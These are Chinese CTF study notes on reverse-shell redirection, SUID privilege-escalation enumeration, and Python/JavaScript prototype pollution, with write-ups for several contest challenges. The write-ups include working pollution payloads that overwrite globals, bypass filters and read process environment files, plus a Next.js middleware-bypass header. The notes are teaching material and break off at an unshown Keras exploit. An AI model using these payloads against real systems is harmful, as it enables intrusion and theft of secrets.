  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
  • 在/dev/tcp/ip/port后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了
    那么,0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

SUID提权

1
2
3
find /-user root -perm-4000 -print 2>/dev/null
find /-perm -u=s -type f 2>/dev/null
find /-user root -perm -4000 -exec ls -ldb {}\;

什么是SUID?

Linux下文件权限分为 r4 w2 x1分别对应可读,可写,可执行

  • 当 SUID 位被设置在一个可执行文件上时,该文件在执行期间,进程的有效用户 ID(EUID)会被设置为该文件所有者的用户 ID。例如,一个属于 root 用户的文件,如果设置了 SUID 位,当普通用户执行这个文件时,这个执行进程的 EUID 就是 root
  • 有效用户 ID 决定了进程在执行过程中对系统资源访问的权限。这就意味着,如果一个程序需要更高权限(通常是 root 权限)才能完成某些特定的操作,通过设置 SUID 位,普通用户在运行这个程序时也能临时获得该程序所有者的权限来执行这些操作

root权限一般是3位,就比如说是什么644(所属者-所属组-other)

而sudo的权限可以是4位比如7644

然后就是SUID文件只作用于二进制文件

条件竞争

2

内存马

1

XSleaks

简介+原理(利用条件)+例题

原型链污染

原理

xz.aliyun.com/news/12518

Python原型链污染从基础到深入 - Rycarls little blog

Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园

Python原型链污染

Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法

  • 原型继承特性
    Python中每个对象通过__class__属性指向其所属类,类通过__base__属性指向父类。当访问对象属性时,若当前对象/类中未定义,会沿原型链向上查找
  • 污染条件
    需要存在递归合并函数(如merge)且未对特殊属性过滤

来看一段代码:(很典型的原型链污染标志)

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值

如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历


__getitem__ 是一个特殊的方法。它是对象的索引操作符重载方法,主要用于定义当使用方括号 [] 对象访问元素时的行为。当你尝试访问像 object[key] 这样的元素时,Python 会调用 __getitem__ 方法(索引如my_list[0]


污染分析(经典例子)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

我们打断点看看

第一步的时候,由于dst中没有__getitem__属性,所以跳到elif进行

此时k变成__class__,v变成{'__base__':{'secret':'world'}}

然后从递归进入第二次循环,这次提取dst中的__base__给k,那么v就等于{'secret':'world'}

由于dst中没有__getitem__属性,所以跳到elif进行,递归进入第三次循环

此时k就应该等于secret,v等于secret

由于dst中没有__getitem__属性,所以跳到elif进行,但是这次的v也不再是个字典,所以跳到else中进行setattr的操作,这是成功将k,v赋值给father类中的键值对,成功污染

(实际上就是一层层向上爬)

当然,也有不能污染的,比如Object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

payload = {
"__class__" : {
"__str__" : "Polluted ~"
}
}

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'

利用
获取全局变量

原理

__init__作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间

可以用这一段来看

1
2
3
4
5
6
7
a=1
def demo():
pass
class A :
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)

接下面的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
mihomo = 114514

def Genshin():
pass

class Honkai():
music = "Proi"

class ZZZ():
def __init__(self):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

StarRailway = ZZZ()


payload = {
"__init__" : {
"__globals__" : {
"mihomo" : 1919810,
"Honkai" : {
"music" : "jiaojiao"
}
}
}
}

print(Honkai.music)
print(mihomo)

merge(payload,StarRailway)

print(Honkai.music)
print(mihomo)

成功获取并污染全局变量

sys模块加载

sys模块的modules属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

这里给到两个模块

1
2
3
4
5
6
7
#test_1.py

secret_var = 114

class target_class:
secret_class_var = "secret"

然后另一个模块导入这一模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#test.py

import test_1
import sys

class cls:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = cls()

payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
}
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~

加载器loader获取

loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块

对于一个模块来说,模块中的一些内置属性会在被加载时自动填充

__loader__内置属性会被赋值为加载该模块的loader,这样只要能获取到任意的模块便能通过__loader__属性获取到loader,而且对于python3来说除了在debug模式下的主文件中__loader__None以外,正常执行的情况每个模块的__loader__属性均有一个对应的类

另外Python还存在一个__spec__内置函数,包含了关于类加载时候的信息,可以直接用

<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

形参默认值替换

分为__defaults____kwdefaults__

1
2
3
4
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)

(Python中带有默认值的参数必须位于不带默认值的参数之后)

元组:(有序的、不可变的序列类型

1
2
3
my_tuple = (1, 2, "hello", [3, 4, 5])
print(my_tuple[0]) # 输出 1
print(my_tuple[-1]) # 输出 [3, 4, 5]

然后就是可以对函数进行默认值的替换

前提是要替换的值是元组的形式:

1
2
3
4
5
6
7
8
9
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}

另一个则是以字典形式替换:

1
2
3
4
5
6
7
8
9
10
11
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
_got_first_request:

用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用:

所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request下面的可用信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")

before_first_request修饰的init函数只会在第一次访问前被调用,而其中读取flag的逻辑又需要访问路由/后才能触发,这就构成了矛盾。所以需要使用payload在访问/后重置_got_first_request属性值为假,这样before_first_request才会再次调用

Payload:

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}

init函数被触发,且其中读取flag的相关逻辑被执行,这样就获得了flag

_static_url_path:

当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向

1
2
3
4
5
6
7
#static/index.html

<html>
<h1>Tech Otakus Save The World</h1>
<body>
</body>
</html>

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

payload:

1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
os.path.pardir:

os.path.pardir 是 Python 中 os.path 模块的一个常量,它代表当前目录的父目录(即上一级目录)。在文件系统中,os.path.pardir 通常对应于字符串 ..

环境:

1
2
3
4
5
6
7
#templates/index.html

<html>
<h1>Tech Otakus Save The World</h1>
<body>
</body>
</html>

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#app.py

from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)

app.run(host="0.0.0.0")

这里的话你进行一个目录穿梭比如:

../1.py这样子的会报错,因为python里的split_template_path如果发现..就会报错或者直接不允许穿越,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了

payload:

1
2
3
4
5
6
7
8
9
10
11
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

JavaScript原型链污染

js原型污染 · zIxyd’s Blog

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户

JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型。JavaScript 使用原型继承模型,这与许多其他语言使用的基于类的模型有很大不同。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。例如,字符串会自动分配内置的String.prototype. 您可以在下面看到这些全局原型的更多示例:

1
2
3
4
5
6
7
8
9
10
11
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype

let myString = "";
Object.getPrototypeOf(myString); // String.prototype

let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype

let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype

对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象

内置原型提供了用于处理基本数据类型的有用属性和方法。例如,String.prototype对象有一个toLowerCase()方法。因此,所有字符串都会自动有一个现成的方法将它们转换为小写。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中

对象继承是如何工作的?

每当您引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它

由于实际上 JavaScript 中的所有内容都是底层的对象,因此这条链最终会回到顶层Object.prototype,其原型很简单null

利用__proto__访问

你可以这样访问:

1
2
username.__proto__
username['__proto__']

甚至可以链接引用以__proto__沿着原型链向上工作:

1
2
3
username.__proto__                        // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null

E.g

1
2
3
4
5
6
7
8
function Teacher(name,age,gender,subject){
Person.call(this,name);
Person.call(this,age);
Person.call(this,gender);
this.subject=subject;
}
Teacher.prototype=new Person();
console.log(Teacher.prototype);

这里的Person就是外部定义的一个类

创建一个构造函数Teacher,其中调用Person.call运行Person构造函数对Teacher中的this.name赋值,new Person() 会创建一个新的对象,并且这个对象的内部原型是 Person.prototype。将这个新对象赋值给 Teacher.prototype 后,Teacher 构造函数的原型对象就拥有了 Person 的原型属性和方法:

原型链污染

当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象时,通常会出现原型污染漏洞。这可以允许攻击者注入带有类似__proto__的键的属性,以及任意嵌套的属性

由于__proto__在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以用包含恶意值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用

__proto__ 是 JavaScript 中一个对象属性,用于访问该对象的原型对象

__proto__ 可以用于手动改变对象的原型,例如,当你想让一个已有的对象继承另一个对象的属性和方法时,可以使用它来改变原型

1. prototype 属性

  • 定义:每个函数都有一个 prototype 属性,它是一个对象。当你通过构造函数创建一个新对象时,这个新对象会继承构造函数的 prototype 对象
  • 用途
    • 用于定义构造函数的原型对象,该原型对象包含所有实例共享的属性和方法
    • 实现继承:通过将一个构造函数的 prototype 设置为另一个构造函数的实例,可以实现继承
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 定义构造函数
function Person(name, age) {
// 实例属性
this.name = name;
this.age = age;
}

// 在构造函数的 prototype 上定义共享方法
Person.prototype.sayHello = function() {
console.log(`Hello, my name is ${this.name} and I am ${this.age} years old.`);
};

// 创建实例
const person1 = new Person("Alice", 25);
const person2 = new Person("Bob", 30);

// 调用共享方法
person1.sayHello(); // 输出: Hello, my name is Alice and I am 25 years old.
person2.sayHello(); // 输出: Hello, my name is Bob and I am 30 years old.

2. __proto__ 属性

  • 定义:每个对象都有一个 __proto__ 属性,它指向创建该对象的构造函数的 prototype 对象。__proto__ 是对象的内部原型引用
  • 用途
    • 用于访问对象的原型对象
    • 在原型链查找中,JavaScript 引擎会通过 __proto__ 属性向上查找属性和方法
1
2
3
4
5
6
7
8
9
10
function Person(name) {
this.name = name;
}

Person.prototype.sayName = function() {
console.log(this.name);
};

const person1 = new Person("Alice");
console.log(person1.__proto__ === Person.prototype); // true
Json输入造成污染

用户可控的对象通常是使用该JSON.parse()方法从 JSON 字符串派生的。有趣的是,JSON.parse()还将 JSON 对象中的任何键视为任意字符串,包括__proto__. 这为原型污染提供了另一个潜在载体。

假设攻击者通过网络消息注入以下恶意 JSON:

1
2
3
4
5
{
"__proto__": {
"evilProperty": "payload"
}
}

如果通过该方法将其转换为 JavaScript 对象JSON.parse(),则生成的对象实际上将具有一个带有 key 的属性__proto__

1
2
3
4
5
const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');

console.log(objectLiteral.hasOwnProperty('__proto__')); // false
console.log(objectFromJson.hasOwnProperty('__proto__')); // true

hasOwnProperty函数是JavaScript中的一个内置函数,用于检查对象自身是否包含指定的属性(即不包括从原型链继承的属性)

绕过过滤了__proto__的污染

假如一开始payload:

1
2
3
"__proto__":{
"json spaces":10
}

没有反应

可以用constructor.prototype === __proto__绕过

1
2
3
4
5
"constructor": {
"prototype": {
"json spaces":10
}
}
PS

其实Javascript也不是所有都要用到__proto__的,这点在下面的例题中有所体现

例题

NCTF2024 ez_dash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","render"
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

先看到这个set,来看看是如何工作的

可以发现set按顺序赋值,然后你传入一个对象、属性名、值就可以更改掉其属性的值

E.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pydash

class miHoYo:
def __init__(self):
self.name = "Honkai"
self.game = "3rd"

m = miHoYo()

print(f"before changing : {m.game}")

pydash.set_(m,"game","StarRailway")

print(f"after changing : {m.game}")

可以看到结果:

源码前面给了hint,所以下一步我们应该污染参数而读取environ

而源码中没有什么可以读取environ的途径,然后看到下面的bottle.template(path)返回了一个值,跟进看看

1
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)

lookup的搜索路径是TEMPLATE_PATH这个对象,然后看看TEMPLATE_PATH

1
TEMPLATE_PATH = ['./', './views/']

默认的TEMPLATE_PATH['./', './views/']

其实到这里不继续深入的话就已经猜到可能是更改TEMPLATE_PATH默认的这个路径,让lookup去查找然后再由bottle.template渲染即可

1
../../../../proc/self/

返回源码看set_value()

1
2
3
4
5
6
7
8
9
10
11
12
13
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

payload应该是

1
setval.__globals__.bottle.TEMPLATE_PATH=['../../../../proc/self/']

但是pydash是不允许修改globals属性的,但是在helpers.py中

1
RESTRICTED_KEYS = ("__globals__","__builtins__")

所以我们先污染这个值之后再污染path即可

payload:

1
2
3
4
5
6
7
8
setValue?name=pydash

{"path":"helpers.RESTRICTED_KEYS","value":"[]"}

setValue?name=setval

{"path":"__globals__.bottle.TEMPLATE_PATH","value":"../../../../proc/self/"}

Mini L-CTF 2025 - 西电 CTF 终端 Clickclick

源码拉到最下面可以看到:

1
2
3
4
5
6
7
8
Qt(o, i => {
w(e) >= 1e3 && i(l)
}

h.textContent = `
if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
`,

就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)

然后看到:

1
2
3
4
5
6
7
8
9
10
11
12
function wn(t, e) {
ce(e, !1);
const r = "/update-amount";
let n = Wr(e, "count", 12);
Jr();
var s = mn();
s.__click = [yn, n, r];
var o = Pt(s);
Tr( () => $r(o, `count is ${n() ?? ""}`)),
ct(t, s),
he()
}

这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount },可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000

那么怎么知道原链呢,看看事件监听器那边的click

1
2
3
4
5
6
7
8
9
{
"type":"set",
"point": {
"__proto__": {
"amount": "10000"
}
}
}

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]OtenkiGirl) OtenkiGirl

NewStar2023 web-week3-wp - Eddie_Murphy - 博客园

这里有一个值得注意的点:

1
2
3
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);

这是什么意思呢,结合注释能看出来,

首先声明了一个变量minTimestamp,将其初始化为CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time的日期对象的时间戳。这里的CONFIG.min_public_timeDEFAULT_CONFIG.min_public_time表示了movie的最小公开时间。

接下来,代码使用Math.max函数将timestampminTimestamp比较,并返回较大的值。timestamp是另一个变量,表示某个数据的时间戳。通过执行这个比较操作,可以确保timestamp的值不早于minTimestamp,也就是不早于movie的最小公开时间

1
2
3
4
5
6
7
{  
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}

[LitCTF 2025]多重宇宙日记 | NSSCTF

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script>
// 更新表单的JS提交
document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
event.preventDefault();
const statusEl = document.getElementById('updateStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在更新...';

const formData = new FormData(event.target);
const settingsPayload = {};
// 构建 settings 对象,只包含有值的字段
if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
if (formData.get('language')) settingsPayload.language = formData.get('language');
// ...可以添加其他字段

try {
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败: ' + error.toString();
}
});

// 发送原始JSON的函数
async function sendRawJson() {
const rawJson = document.getElementById('rawJsonSettings').value;
const statusEl = document.getElementById('rawJsonStatus');
const currentSettingsEl = document.getElementById('currentSettings');
statusEl.textContent = '正在发送...';
try {
const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON
const response = await fetch('/api/profile/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON
});
const result = await response.json();
if (response.ok) {
statusEl.textContent = '成功: ' + result.message;
currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
// 刷新页面以更新导航栏(如果isAdmin状态改变)
setTimeout(() => window.location.reload(), 1000);
} else {
statusEl.textContent = '错误: ' + result.message;
}
} catch (error) {
statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
}
}
</script>

提示键值在setting下,又需要管理员权限,所以payload:

1
{"settings": {"isAdmin": true}}

[BUUCTF在线评测](https://buuoj.cn/challenges#[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask) EzFlask

开头直接给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

看到这一段:

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

很明显的python的原型链污染

payload:

1
{"username":"123","password":"123","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}}

(其中__init__用unicode编码了一下,其实你也可以将其他的也编码)

在注册页面污染后,GET访问首页就可以了


CVE说是

LitCTF 2025]nest_js | NSSCTF

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现 - CVE-柠檬i - 博客园

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

D^3 CTF 2025 d3model

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

requirements告诉我们keras==3.8.0,查了一下发现存在CVE漏洞。

cve-2025-1550,可以参考如下文章复现:

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

这里直接给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
